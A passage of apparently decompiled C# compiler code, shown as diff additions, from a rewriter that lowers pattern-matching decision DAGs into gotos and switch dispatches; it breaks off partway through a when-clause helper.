DecisionDagRewriter(SyntaxNode node, LocalRewriter localRewriter, bool generateInstrumentation) + : base(node, localRewriter, generateInstrumentation) + { + } + + private void ComputeLabelSet(BoundDecisionDag decisionDag) + { + PooledHashSet hasPredecessor = PooledHashSet.GetInstance(); + ImmutableArray.Enumerator enumerator = decisionDag.TopologicallySortedNodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundDecisionDagNode current = enumerator.Current; + if (!(current is BoundWhenDecisionDagNode boundWhenDecisionDagNode)) + { + if (!(current is BoundLeafDecisionDagNode boundLeafDecisionDagNode)) + { + if (!(current is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode)) + { + if (!(current is BoundTestDecisionDagNode boundTestDecisionDagNode)) + { + throw ExceptionUtilities.UnexpectedValue((object)current.Kind); + } + notePredecessor(boundTestDecisionDagNode.WhenTrue); + notePredecessor(boundTestDecisionDagNode.WhenFalse); + } + else + { + notePredecessor(boundEvaluationDecisionDagNode.Next); + } + } + else + { + ((Dictionary)(object)_dagNodeLabels)[current] = boundLeafDecisionDagNode.Label; + } + } + else + { + GetDagNodeLabel(current); + if (boundWhenDecisionDagNode.WhenFalse != null) + { + GetDagNodeLabel(boundWhenDecisionDagNode.WhenFalse); + } + } + } + hasPredecessor.Free(); + void notePredecessor(BoundDecisionDagNode successor) + { + if (successor != null && !((HashSet)(object)hasPredecessor).Add(successor)) + { + GetDagNodeLabel(successor); + } + } + } + + protected new void Free() + { + _dagNodeLabels.Free(); + base.Free(); + } + + protected virtual LabelSymbol GetDagNodeLabel(BoundDecisionDagNode dag) + { + if (!((Dictionary)(object)_dagNodeLabels).TryGetValue(dag, out LabelSymbol value)) + { + ((Dictionary)(object)_dagNodeLabels).Add(dag, value = ((dag is BoundLeafDecisionDagNode boundLeafDecisionDagNode) ? boundLeafDecisionDagNode.Label : _factory.GenerateLabel("dagNode"))); + } + return value; + } + + protected BoundDecisionDag ShareTempsIfPossibleAndEvaluateInput(BoundDecisionDag decisionDag, BoundExpression loweredSwitchGoverningExpression, ArrayBuilder result, out BoundExpression savedInputExpression) + { + WhenClauseMightAssignPatternVariableWalker whenClauseMightAssignPatternVariableWalker = new WhenClauseMightAssignPatternVariableWalker(); + if (!ImmutableArrayExtensions.Any(decisionDag.TopologicallySortedNodes, (Func)((BoundDecisionDagNode node, WhenClauseMightAssignPatternVariableWalker mightAssignWalker) => node is BoundWhenDecisionDagNode boundWhenDecisionDagNode && mightAssignWalker.MightAssignSomething(boundWhenDecisionDagNode.WhenExpression)), whenClauseMightAssignPatternVariableWalker)) + { + decisionDag = ShareTempsAndEvaluateInput(loweredSwitchGoverningExpression, decisionDag, delegate(BoundExpression expr) + { + result.Add((BoundStatement)_factory.ExpressionStatement(expr)); + }, out savedInputExpression); + } + else + { + BoundExpression temp = _tempAllocator.GetTemp(BoundDagTemp.ForOriginalInput(loweredSwitchGoverningExpression)); + result.Add((BoundStatement)_factory.Assignment(temp, loweredSwitchGoverningExpression)); + savedInputExpression = temp; + } + return decisionDag; + } + + protected ImmutableArray LowerDecisionDagCore(BoundDecisionDag decisionDag) + { + _loweredDecisionDag = ArrayBuilder.GetInstance(); + ComputeLabelSet(decisionDag); + ImmutableArray topologicallySortedNodes = decisionDag.TopologicallySortedNodes; + BoundDecisionDagNode boundDecisionDagNode = topologicallySortedNodes[0]; + if (boundDecisionDagNode is BoundWhenDecisionDagNode || boundDecisionDagNode is BoundLeafDecisionDagNode) + { + _loweredDecisionDag.Add((BoundStatement)_factory.Goto(GetDagNodeLabel(boundDecisionDagNode))); + } + LowerWhenClauses(topologicallySortedNodes); + ImmutableArray nodesToLower = ImmutableArrayExtensions.WhereAsArray(topologicallySortedNodes, (Func)((BoundDecisionDagNode n) => n.Kind != BoundKind.WhenDecisionDagNode && n.Kind != BoundKind.LeafDecisionDagNode)); + PooledHashSet instance = PooledHashSet.GetInstance(); + int num = 0; + for (int length = nodesToLower.Length; num < length; num++) + { + BoundDecisionDagNode boundDecisionDagNode2 = nodesToLower[num]; + bool flag = ((HashSet)(object)instance).Contains(boundDecisionDagNode2); + if (flag && !((Dictionary)(object)_dagNodeLabels).TryGetValue(boundDecisionDagNode2, out LabelSymbol _)) + { + continue; + } + if (((Dictionary)(object)_dagNodeLabels).TryGetValue(boundDecisionDagNode2, out LabelSymbol value2)) + { + _loweredDecisionDag.Add((BoundStatement)_factory.Label(value2)); + } + if ((flag || !GenerateSwitchDispatch(boundDecisionDagNode2, (HashSet)(object)instance)) && !GenerateTypeTestAndCast(boundDecisionDagNode2, (HashSet)(object)instance, nodesToLower, num)) + { + BoundDecisionDagNode boundDecisionDagNode3 = ((num + 1 < length) ? nodesToLower[num + 1] : null); + if (boundDecisionDagNode3 != null && ((HashSet)(object)instance).Contains(boundDecisionDagNode3)) + { + boundDecisionDagNode3 = null; + } + LowerDecisionDagNode(boundDecisionDagNode2, boundDecisionDagNode3); + } + } + instance.Free(); + ImmutableArray result = _loweredDecisionDag.ToImmutableAndFree(); + _loweredDecisionDag = null; + return result; + } + + private bool GenerateTypeTestAndCast(BoundDecisionDagNode node, HashSet loweredNodes, ImmutableArray nodesToLower, int indexOfNode) + { + if (node is BoundTestDecisionDagNode { WhenTrue: BoundEvaluationDecisionDagNode whenTrue } boundTestDecisionDagNode && TryLowerTypeTestAndCast(boundTestDecisionDagNode.Test, whenTrue.Evaluation, out var sideEffect, out var testExpression)) + { + BoundDecisionDagNode next = whenTrue.Next; + BoundDecisionDagNode whenFalse = boundTestDecisionDagNode.WhenFalse; + bool flag = !((Dictionary)(object)_dagNodeLabels).ContainsKey((BoundDecisionDagNode)whenTrue); + if (flag) + { + loweredNodes.Add(whenTrue); + } + BoundDecisionDagNode nextNode = ((indexOfNode + 2 < nodesToLower.Length && flag && nodesToLower[indexOfNode + 1] == whenTrue && !loweredNodes.Contains(nodesToLower[indexOfNode + 2])) ? nodesToLower[indexOfNode + 2] : null); + _loweredDecisionDag.Add((BoundStatement)_factory.ExpressionStatement(sideEffect)); + GenerateTest(testExpression, next, whenFalse, nextNode); + return true; + } + return false; + } + + private void GenerateTest(BoundExpression test, BoundDecisionDagNode whenTrue, BoundDecisionDagNode whenFalse, BoundDecisionDagNode nextNode) + { + _factory.Syntax = test.Syntax; + if (nextNode == whenFalse) + { + _loweredDecisionDag.Add(_factory.ConditionalGoto(test, GetDagNodeLabel(whenTrue), jumpIfTrue: true)); + return; + } + if (nextNode == whenTrue) + { + _loweredDecisionDag.Add(_factory.ConditionalGoto(test, GetDagNodeLabel(whenFalse), jumpIfTrue: false)); + return; + } + _loweredDecisionDag.Add(_factory.ConditionalGoto(test, GetDagNodeLabel(whenTrue), jumpIfTrue: true)); + _loweredDecisionDag.Add((BoundStatement)_factory.Goto(GetDagNodeLabel(whenFalse))); + } + + private bool GenerateSwitchDispatch(BoundDecisionDagNode node, HashSet loweredNodes) + { + if (!canGenerateSwitchDispatch(node)) + { + return false; + } + BoundDagTemp input = ((BoundTestDecisionDagNode)node).Test.Input; + ValueDispatchNode n = GatherValueDispatchNodes(node, loweredNodes, input); + LowerValueDispatchNode(n, _tempAllocator.GetTemp(input)); + return true; + bool canDispatch(BoundTestDecisionDagNode test1, BoundTestDecisionDagNode test2) + { + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Invalid comparison between Unknown and I4 + if (((Dictionary)(object)_dagNodeLabels).ContainsKey((BoundDecisionDagNode)test2)) + { + return false; + } + BoundDagTest test3 = test1.Test; + BoundDagTest test4 = test2.Test; + if (!(test3 is BoundDagValueTest) && !(test3 is BoundDagRelationalTest)) + { + return false; + } + if (!(test4 is BoundDagValueTest) && !(test4 is BoundDagRelationalTest)) + { + return false; + } + if (!test3.Input.Equals(test4.Input)) + { + return false; + } + SpecialType specialType = test3.Input.Type.SpecialType; + if (specialType - 18 <= 1) + { + return false; + } + return true; + } + bool canGenerateSwitchDispatch(BoundDecisionDagNode boundDecisionDagNode) + { + if (boundDecisionDagNode is BoundTestDecisionDagNode boundTestDecisionDagNode) + { + if (boundTestDecisionDagNode.WhenFalse is BoundTestDecisionDagNode test) + { + return canDispatch(boundTestDecisionDagNode, test); + } + if (boundTestDecisionDagNode.WhenTrue is BoundTestDecisionDagNode test2) + { + BoundTestDecisionDagNode test3 = boundTestDecisionDagNode; + return canDispatch(test3, test2); + } + } + return false; + } + } + + private ValueDispatchNode GatherValueDispatchNodes(BoundDecisionDagNode node, HashSet loweredNodes, BoundDagTemp input) + { + IValueSetFactory fac = ValueSetFactory.ForInput(input); + return GatherValueDispatchNodes(node, loweredNodes, input, fac); + } + + private ValueDispatchNode GatherValueDispatchNodes(BoundDecisionDagNode node, HashSet loweredNodes, BoundDagTemp input, IValueSetFactory fac) + { + if (loweredNodes.Contains(node)) + { + ((Dictionary)(object)_dagNodeLabels).TryGetValue(node, out LabelSymbol value); + return new ValueDispatchNode.LeafDispatchNode(node.Syntax, value); + } + if (!(node is BoundTestDecisionDagNode boundTestDecisionDagNode) || !boundTestDecisionDagNode.Test.Input.Equals(input)) + { + LabelSymbol dagNodeLabel = GetDagNodeLabel(node); + return new ValueDispatchNode.LeafDispatchNode(node.Syntax, dagNodeLabel); + } + BoundDagTest test = boundTestDecisionDagNode.Test; + if (!(test is BoundDagRelationalTest boundDagRelationalTest)) + { + if (test is BoundDagValueTest boundDagValueTest) + { + loweredNodes.Add(boundTestDecisionDagNode); + ArrayBuilder<(ConstantValue, LabelSymbol)> instance = ArrayBuilder<(ConstantValue, LabelSymbol)>.GetInstance(); + instance.Add((boundDagValueTest.Value, GetDagNodeLabel(boundTestDecisionDagNode.WhenTrue))); + BoundTestDecisionDagNode boundTestDecisionDagNode2 = boundTestDecisionDagNode; + while (boundTestDecisionDagNode2.WhenFalse is BoundTestDecisionDagNode { Test: BoundDagValueTest test2 } boundTestDecisionDagNode3 && test2.Input.Equals(input) && !((Dictionary)(object)_dagNodeLabels).ContainsKey((BoundDecisionDagNode)boundTestDecisionDagNode3) && !loweredNodes.Contains(boundTestDecisionDagNode3)) + { + instance.Add((test2.Value, GetDagNodeLabel(boundTestDecisionDagNode3.WhenTrue))); + loweredNodes.Add(boundTestDecisionDagNode3); + boundTestDecisionDagNode2 = boundTestDecisionDagNode3; + } + ValueDispatchNode otherwise = GatherValueDispatchNodes(boundTestDecisionDagNode2.WhenFalse, loweredNodes, input, fac); + return PushEqualityTestsIntoTree(boundDagValueTest.Syntax, otherwise, instance.ToImmutableAndFree(), fac); + } + LabelSymbol dagNodeLabel2 = GetDagNodeLabel(node); + return new ValueDispatchNode.LeafDispatchNode(node.Syntax, dagNodeLabel2); + } + loweredNodes.Add(boundTestDecisionDagNode); + ValueDispatchNode whenTrue = GatherValueDispatchNodes(boundTestDecisionDagNode.WhenTrue, loweredNodes, input, fac); + ValueDispatchNode whenFalse = GatherValueDispatchNodes(boundTestDecisionDagNode.WhenFalse, loweredNodes, input, fac); + return ValueDispatchNode.RelationalDispatch.CreateBalanced(boundTestDecisionDagNode.Syntax, boundDagRelationalTest.Value, boundDagRelationalTest.OperatorKind, whenTrue, whenFalse); + } + + private ValueDispatchNode PushEqualityTestsIntoTree(SyntaxNode syntax, ValueDispatchNode otherwise, ImmutableArray<(ConstantValue value, LabelSymbol label)> cases, IValueSetFactory fac) + { + if (cases.IsEmpty) + { + return otherwise; + } + if (!(otherwise is ValueDispatchNode.LeafDispatchNode leafDispatchNode)) + { + if (!(otherwise is ValueDispatchNode.SwitchDispatch switchDispatch)) + { + if (otherwise is ValueDispatchNode.RelationalDispatch { Operator: var op, Value: var value, WhenTrue: var whenTrue, WhenFalse: var whenFalse } relationalDispatch) + { + (ImmutableArray<(ConstantValue value, LabelSymbol label)> whenTrueCases, ImmutableArray<(ConstantValue value, LabelSymbol label)> whenFalseCases) tuple = splitCases(cases, op, value); + ImmutableArray<(ConstantValue, LabelSymbol)> item = tuple.whenTrueCases; + ImmutableArray<(ConstantValue, LabelSymbol)> item2 = tuple.whenFalseCases; + ValueDispatchNode whenTrue2 = PushEqualityTestsIntoTree(syntax, whenTrue, item, fac); + ValueDispatchNode whenFalse2 = PushEqualityTestsIntoTree(syntax, whenFalse, item2, fac); + return relationalDispatch.WithTrueAndFalseChildren(whenTrue2, whenFalse2); + } + throw ExceptionUtilities.UnexpectedValue((object)otherwise); + } + return new ValueDispatchNode.SwitchDispatch(switchDispatch.Syntax, ImmutableArrayExtensions.Concat<(ConstantValue, LabelSymbol)>(switchDispatch.Cases, cases), switchDispatch.Otherwise); + } + return new ValueDispatchNode.SwitchDispatch(syntax, cases, leafDispatchNode.Label); + (ImmutableArray<(ConstantValue value, LabelSymbol label)> whenTrueCases, ImmutableArray<(ConstantValue value, LabelSymbol label)> whenFalseCases) splitCases(ImmutableArray<(ConstantValue value, LabelSymbol label)> immutableArray, BinaryOperatorKind binaryOperatorKind, ConstantValue right) + { + ArrayBuilder<(ConstantValue, LabelSymbol)> instance = ArrayBuilder<(ConstantValue, LabelSymbol)>.GetInstance(); + ArrayBuilder<(ConstantValue, LabelSymbol)> instance2 = ArrayBuilder<(ConstantValue, LabelSymbol)>.GetInstance(); + binaryOperatorKind = binaryOperatorKind.Operator(); + ImmutableArray<(ConstantValue, LabelSymbol)>.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + (ConstantValue, LabelSymbol) current = enumerator.Current; + (fac.Related(binaryOperatorKind, current.Item1, right) ? instance : instance2).Add(current); + } + return (whenTrueCases: instance.ToImmutableAndFree(), whenFalseCases: instance2.ToImmutableAndFree()); + } + } + + private void LowerValueDispatchNode(ValueDispatchNode n, BoundExpression input) + { + if (!(n is ValueDispatchNode.LeafDispatchNode leafDispatchNode)) + { + if (!(n is ValueDispatchNode.SwitchDispatch node)) + { + if (!(n is ValueDispatchNode.RelationalDispatch rel)) + { + throw ExceptionUtilities.UnexpectedValue((object)n); + } + LowerRelationalDispatchNode(rel, input); + } + else + { + LowerSwitchDispatchNode(node, input); + } + } + else + { + _loweredDecisionDag.Add((BoundStatement)_factory.Goto(leafDispatchNode.Label)); + } + } + + private void LowerRelationalDispatchNode(ValueDispatchNode.RelationalDispatch rel, BoundExpression input) + { + BoundExpression condition = MakeRelationalTest(rel.Syntax, input, rel.Operator, rel.Value); + if (rel.WhenTrue is ValueDispatchNode.LeafDispatchNode { Label: var label }) + { + _loweredDecisionDag.Add(_factory.ConditionalGoto(condition, label, jumpIfTrue: true)); + LowerValueDispatchNode(rel.WhenFalse, input); + return; + } + if (rel.WhenFalse is ValueDispatchNode.LeafDispatchNode { Label: var label2 }) + { + _loweredDecisionDag.Add(_factory.ConditionalGoto(condition, label2, jumpIfTrue: false)); + LowerValueDispatchNode(rel.WhenTrue, input); + return; + } + LabelSymbol label3 = _factory.GenerateLabel("relationalDispatch"); + _loweredDecisionDag.Add(_factory.ConditionalGoto(condition, label3, jumpIfTrue: false)); + LowerValueDispatchNode(rel.WhenTrue, input); + _loweredDecisionDag.Add((BoundStatement)_factory.Label(label3)); + LowerValueDispatchNode(rel.WhenFalse, input); + } + + private void LowerSwitchDispatchNode(ValueDispatchNode.SwitchDispatch node, BoundExpression input) + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Invalid comparison between Unknown and I4 + //IL_02a3: Unknown result type (might be due to invalid IL or missing references) + //IL_02a8: Unknown result type (might be due to invalid IL or missing references) + //IL_02aa: Unknown result type (might be due to invalid IL or missing references) + //IL_02ae: Unknown result type (might be due to invalid IL or missing references) + //IL_02c0: Expected I4, but got Unknown + //IL_018f: Unknown result type (might be due to invalid IL or missing references) + //IL_0194: Unknown result type (might be due to invalid IL or missing references) + //IL_0196: Unknown result type (might be due to invalid IL or missing references) + //IL_019a: Invalid comparison between Unknown and I4 + //IL_019c: Unknown result type (might be due to invalid IL or missing references) + //IL_01a0: Invalid comparison between Unknown and I4 + //IL_02e8: Unknown result type (might be due to invalid IL or missing references) + DecisionDagRewriter decisionDagRewriter = this; + ValueDispatchNode.SwitchDispatch node2 = node; + BoundExpression input2 = input; + LabelSymbol defaultLabel = node2.Otherwise; + bool flag; + LengthBasedStringSwitchData lengthBasedStringSwitchDataOpt; + if (input2.Type.IsValidV6SwitchGoverningType() || input2.Type.IsSpanOrReadOnlySpanChar()) + { + flag = (int)input2.Type.SpecialType == 20; + bool flag2 = input2.Type.IsSpanChar(); + bool flag3 = input2.Type.IsReadOnlySpanChar(); + lengthBasedStringSwitchDataOpt = null; + if (flag || flag2 || flag3) + { + StringPatternInput stringPatternInput = ((!flag) ? (flag2 ? StringPatternInput.SpanChar : StringPatternInput.ReadOnlySpanChar) : StringPatternInput.String); + if (!_localRewriter._compilation.FeatureDisableLengthBasedSwitch) + { + LengthBasedStringSwitchData lengthBasedStringSwitchData = LengthBasedStringSwitchData.Create(node2.Cases); + if (lengthBasedStringSwitchData.ShouldGenerateLengthBasedSwitch(node2.Cases.Length) && hasLengthBasedDispatchRequiredMembers(stringPatternInput)) + { + lengthBasedStringSwitchDataOpt = lengthBasedStringSwitchData; + goto IL_0117; + } + } + EnsureStringHashFunction(node2.Cases.Length, node2.Syntax, stringPatternInput); + goto IL_0117; + } + goto IL_0135; + } + BinaryOperatorKind lessThanOrEqualOperator; + ImmutableArray<(ConstantValue value, LabelSymbol label)> cases2; + if (input2.Type.IsNativeIntegerType) + { + SpecialType specialType = input2.Type.SpecialType; + ImmutableArray<(ConstantValue, LabelSymbol)> cases; + if ((int)specialType != 21) + { + if ((int)specialType != 22) + { + throw ExceptionUtilities.UnexpectedValue((object)input2.Type); + } + input2 = _factory.Convert(_factory.SpecialType((SpecialType)16), input2); + cases = ImmutableArrayExtensions.SelectAsArray<(ConstantValue, LabelSymbol), (ConstantValue, LabelSymbol)>(node2.Cases, (Func<(ConstantValue, LabelSymbol), (ConstantValue, LabelSymbol)>)(((ConstantValue value, LabelSymbol label) p) => (ConstantValue.Create((ulong)p.value.UInt32Value), label: p.label))); + } + else + { + input2 = _factory.Convert(_factory.SpecialType((SpecialType)15), input2); + cases = ImmutableArrayExtensions.SelectAsArray<(ConstantValue, LabelSymbol), (ConstantValue, LabelSymbol)>(node2.Cases, (Func<(ConstantValue, LabelSymbol), (ConstantValue, LabelSymbol)>)(((ConstantValue value, LabelSymbol label) p) => (ConstantValue.Create((long)p.value.Int32Value), label: p.label))); + } + BoundSwitchDispatch boundSwitchDispatch = new BoundSwitchDispatch(node2.Syntax, input2, cases, defaultLabel, null); + _loweredDecisionDag.Add((BoundStatement)boundSwitchDispatch); + } + else + { + SpecialType specialType = input2.Type.SpecialType; + lessThanOrEqualOperator = (specialType - 17) switch + { + 1 => BinaryOperatorKind.FloatLessThanOrEqual, + 2 => BinaryOperatorKind.DoubleLessThanOrEqual, + 0 => BinaryOperatorKind.DecimalLessThanOrEqual, + _ => throw ExceptionUtilities.UnexpectedValue((object)input2.Type.SpecialType), + }; + cases2 = node2.Cases.Sort(new CasesComparer(input2.Type)); + lowerFloatDispatch(0, cases2.Length); + } + return; + IL_0117: + if (flag) + { + _localRewriter.TryGetSpecialTypeMethod(node2.Syntax, (SpecialMember)9, out MethodSymbol _); + } + goto IL_0135; + IL_0135: + BoundSwitchDispatch boundSwitchDispatch2 = new BoundSwitchDispatch(node2.Syntax, input2, node2.Cases, defaultLabel, lengthBasedStringSwitchDataOpt); + _loweredDecisionDag.Add((BoundStatement)boundSwitchDispatch2); + bool hasLengthBasedDispatchRequiredMembers(StringPatternInput stringPatternInput2) + { + CSharpCompilation compilation = _localRewriter._compilation; + Symbol symbol = stringPatternInput2 switch + { + StringPatternInput.String => compilation.GetSpecialTypeMember((SpecialMember)11), + StringPatternInput.SpanChar => compilation.GetWellKnownTypeMember((WellKnownMember)401), + StringPatternInput.ReadOnlySpanChar => compilation.GetWellKnownTypeMember((WellKnownMember)407), + _ => throw ExceptionUtilities.UnexpectedValue((object)stringPatternInput2), + }; + if ((object)symbol == null || symbol.HasUseSiteError) + { + return false; + } + Symbol symbol2 = stringPatternInput2 switch + { + StringPatternInput.String => compilation.GetSpecialTypeMember((SpecialMember)12), + StringPatternInput.SpanChar => compilation.GetWellKnownTypeMember((WellKnownMember)400), + StringPatternInput.ReadOnlySpanChar => compilation.GetWellKnownTypeMember((WellKnownMember)406), + _ => throw ExceptionUtilities.UnexpectedValue((object)stringPatternInput2), + }; + if ((object)symbol2 == null || symbol2.HasUseSiteError) + { + return false; + } + return true; + } + void lowerFloatDispatch(int firstIndex, int count) + { + if (count <= 3) + { + int i = firstIndex; + for (int num = firstIndex + count; i < num; i++) + { + _loweredDecisionDag.Add(_factory.ConditionalGoto(MakeValueTest(node2.Syntax, input2, cases2[i].value), cases2[i].label, jumpIfTrue: true)); + } + _loweredDecisionDag.Add((BoundStatement)_factory.Goto(defaultLabel)); + } + else + { + int num2 = count / 2; + GeneratedLabelSymbol label = _factory.GenerateLabel("greaterThanMidpoint"); + _loweredDecisionDag.Add(_factory.ConditionalGoto(MakeRelationalTest(node2.Syntax, input2, lessThanOrEqualOperator, cases2[firstIndex + num2 - 1].value), label, jumpIfTrue: false)); + lowerFloatDispatch(firstIndex, num2); + _loweredDecisionDag.Add((BoundStatement)_factory.Label(label)); + lowerFloatDispatch(firstIndex + num2, count - num2); + } + } + } + + private void EnsureStringHashFunction(int labelsCount, SyntaxNode syntaxNode, StringPatternInput stringPatternInput) + { + PEModuleBuilder emitModule = _localRewriter.EmitModule; + if (emitModule == null || !SwitchStringJumpTableEmitter.ShouldGenerateHashTableSwitch(labelsCount)) + { + return; + } + PrivateImplementationDetails privateImplClass = ((PEModuleBuilder)emitModule).GetPrivateImplClass(syntaxNode, ((BindingDiagnosticBag)_localRewriter._diagnostics).DiagnosticBag); + PrivateImplementationDetails val = privateImplClass; + if (val.GetMethod(stringPatternInput switch + { + StringPatternInput.String => "ComputeStringHash", + StringPatternInput.SpanChar => "ComputeReadOnlySpanHash", + StringPatternInput.ReadOnlySpanChar => "ComputeSpanHash", + _ => throw ExceptionUtilities.UnexpectedValue((object)stringPatternInput), + }) == null) + { + Symbol symbol = stringPatternInput switch + { + StringPatternInput.String => _localRewriter._compilation.GetSpecialTypeMember((SpecialMember)12), + StringPatternInput.SpanChar => _localRewriter._compilation.GetWellKnownTypeMember((WellKnownMember)400), + StringPatternInput.ReadOnlySpanChar => _localRewriter._compilation.GetWellKnownTypeMember((WellKnownMember)406), + _ => throw ExceptionUtilities.UnexpectedValue((object)stringPatternInput), + }; + if ((object)symbol != null && !symbol.HasUseSiteError) + { + TypeSymbol returnType = _factory.SpecialType((SpecialType)14); + TypeSymbol paramType = stringPatternInput switch + { + StringPatternInput.String => _factory.SpecialType((SpecialType)20), + StringPatternInput.SpanChar => _factory.WellKnownType((WellKnownType)275).Construct(_factory.SpecialType((SpecialType)8)), + StringPatternInput.ReadOnlySpanChar => _factory.WellKnownType((WellKnownType)276).Construct(_factory.SpecialType((SpecialType)8)), + _ => throw ExceptionUtilities.UnexpectedValue((object)stringPatternInput), + }; + privateImplClass.TryAddSynthesizedMethod((IMethodDefinition)(object)(stringPatternInput switch + { + StringPatternInput.String => new SynthesizedStringSwitchHashMethod(((PEModuleBuilder)emitModule).SourceModule, privateImplClass, returnType, paramType), + StringPatternInput.SpanChar => new SynthesizedSpanSwitchHashMethod(((PEModuleBuilder)emitModule).SourceModule, privateImplClass, returnType, paramType, isReadOnlySpan: false), + StringPatternInput.ReadOnlySpanChar => new SynthesizedSpanSwitchHashMethod(((PEModuleBuilder)emitModule).SourceModule, privateImplClass, returnType, paramType, isReadOnlySpan: true), + _ => throw ExceptionUtilities.UnexpectedValue((object)stringPatternInput), + }).GetCciAdapter()); + } + } + } + + private void LowerWhenClauses(ImmutableArray sortedNodes) + { + if (!sortedNodes.Any((BoundDecisionDagNode n) => n.Kind == BoundKind.WhenDecisionDagNode)) + { + return; + } + int num = 0; + PooledDictionary WhenNodes)> whenExpressionMap = PooledDictionary)>.GetInstance(); + PooledDictionary whenNodeMap = PooledDictionary.GetInstance(); + ImmutableArray.Enumerator enumerator = sortedNodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!(enumerator.Current is BoundWhenDecisionDagNode boundWhenDecisionDagNode)) + { + continue; + } + BoundExpression whenExpression = boundWhenDecisionDagNode.WhenExpression; + if (whenExpression != null && whenExpression.ConstantValueOpt != ConstantValue.True) + { + LabelSymbol item; + if (((Dictionary)>)(object)whenExpressionMap).TryGetValue(whenExpression, out (LabelSymbol, ArrayBuilder) value)) + { + (item, _) = value; + value.Item2.Add(boundWhenDecisionDagNode); + } + else + { + item = _factory.GenerateLabel("sharedWhenExpression"); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Add(boundWhenDecisionDagNode); + ((Dictionary)>)(object)whenExpressionMap).Add(whenExpression, (item, instance)); + } + ((Dictionary)(object)whenNodeMap).Add(boundWhenDecisionDagNode, (item, num++)); + } + } + enumerator = sortedNodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is BoundWhenDecisionDagNode boundWhenDecisionDagNode2 && !tryLowerAsJumpToSharedWhenExpression(boundWhenDecisionDagNode2)) + { + lowerWhenClause(boundWhenDecisionDagNode2); + } + } + BoundExpression boundExpression = default(BoundExpression); + (LabelSymbol, ArrayBuilder) tuple2 = default((LabelSymbol, ArrayBuilder)); + foreach (KeyValuePair)> item3 in (Dictionary)>)(object)whenExpressionMap) + { + KeyValuePairUtil.Deconstruct)>(item3, ref boundExpression, ref tuple2); + (LabelSymbol, ArrayBuilder) tuple3 = tuple2; + BoundExpression whenExpression2 = boundExpression; + var (labelToWhenExpression, val) = tuple3; + lowerWhenExpressionIfShared(whenExpression2, labelToWhenExpression, val); + val.Free(); + } + whenExpressionMap.Free(); + whenNodeMap.Free(); + void addConditionalGoto(BoundExpression boundExpression2, SyntaxNode whenClauseSyntax, LabelSymbol whenTrueLabel, ArrayBuilder sectionBuilder) + { + _factory.Syntax = whenClauseSyntax; + BoundStatement boundStatement = _factory.ConditionalGoto(_localRewriter.VisitExpression(boundExpression2), whenTrueLabel, jumpIfTrue: true); + if (base.GenerateInstrumentation && !boundExpression2.WasCompilerGenerated) + { + boundStatement = _localRewriter.Instrumenter.InstrumentSwitchWhenClauseConditionalGotoBody(boundExpression2, boundStatement); + } + sectionBuilder.Add(boundStatement); + } + bool isSharedWhenExpression(BoundExpression? boundExpression2) + { + if (boundExpression2 != null && ((Dictionary)>)(object)whenExpressionMap).TryGetValue(boundExpression2, out (LabelSymbol, ArrayBuilder) value2)) + { + return value2.Item2.Count > 1; + } + return false; + } + void lowerBindings(ImmutableArray bindings, ArrayBuilder sectionBuilder) + { + ImmutableArray.Enumerator enumerator3 = bindings.GetEnumerator(); + while (enumerator3.MoveNext()) + { + BoundPatternBinding current = enumerator3.Current; + BoundExpression boundExpression2 = _localRewriter.VisitExpression(current.VariableAccess); + BoundExpression temp = _tempAllocator.GetTemp(current.TempContainingValue); + if (boundExpression2 != temp) + { + sectionBuilder.Add((BoundStatement)_factory.Assignment(boundExpression2, temp)); + } + } + } + void lowerWhenClause(BoundWhenDecisionDagNode whenClause) + { + BoundLeafDecisionDagNode dag = (BoundLeafDecisionDagNode)whenClause.WhenTrue; + LabelSymbol dagNodeLabel = GetDagNodeLabel(whenClause); + ArrayBuilder val2 = BuilderForSection(whenClause.Syntax); + val2.Add((BoundStatement)_factory.Label(dagNodeLabel)); + lowerBindings(whenClause.Bindings, val2); + BoundDecisionDagNode whenFalse = whenClause.WhenFalse; + LabelSymbol dagNodeLabel2 = GetDagNodeLabel(dag); + if (whenClause.WhenExpression != null && whenClause.WhenExpression.ConstantValueOpt != ConstantValue.True) + { + addConditionalGoto(whenClause.WhenExpression, whenClause.Syntax, dagNodeLabel2, val2); + BoundStatement boundStatement = _factory.Goto(GetDagNodeLabel(whenFalse)); + val2.Add(base.GenerateInstrumentation ? _factory.HiddenSequencePoint(boundStatement) : boundStatement); + } + else + { + val2.Add((BoundStatement)_factory.Goto(dagNodeLabel2)); + } + } + void lowerWhenExpressionIfShared(BoundExpression whenExpression3, LabelSymbol label, ArrayBuilder whenNodes) + { + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + if (isSharedWhenExpression(whenExpression3)) + { + SyntaxNode syntax = whenNodes[0].Syntax; + LabelSymbol dagNodeLabel = GetDagNodeLabel(whenNodes[0].WhenTrue); + ArrayBuilder val2 = BuilderForSection(syntax); + val2.Add((BoundStatement)_factory.Label(label)); + lowerBindings(whenNodes[0].Bindings, val2); + addConditionalGoto(whenExpression3, syntax, dagNodeLabel, val2); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + Enumerator enumerator3 = whenNodes.GetEnumerator(); + while (enumerator3.MoveNext()) + { + BoundWhenDecisionDagNode current = enumerator3.Current; + int item2 = ((Dictionary)(object)whenNodeMap)[current].Item2; + instance2.Add(_factory.SwitchSection(item2, _factory.Goto(GetDagNodeLabel(current.WhenFalse)))); + } + BoundStatement boundStatement = _factory.Switch(_factory.Local(_whenNodeIdentifierLocal), instance2.ToImmutableAndFree()); + val2.Add(base.GenerateInstrumentation ? _factory.HiddenSequencePoint(boundStatement) : boundStatement); + } + } + bool tryLowerAsJumpToSharedWhenExpression(BoundWhenDecisionDagNode whenNode) + { + BoundExpression whenExpression3 = whenNode.WhenExpression; + if (!isSharedWhenExpression(whenExpression3)) + { + return false; + } + LabelSymbol dagNodeLabel = GetDagNodeLabel(whenNode); + ArrayBuilder obj = BuilderForSection(whenNode.Syntax); + 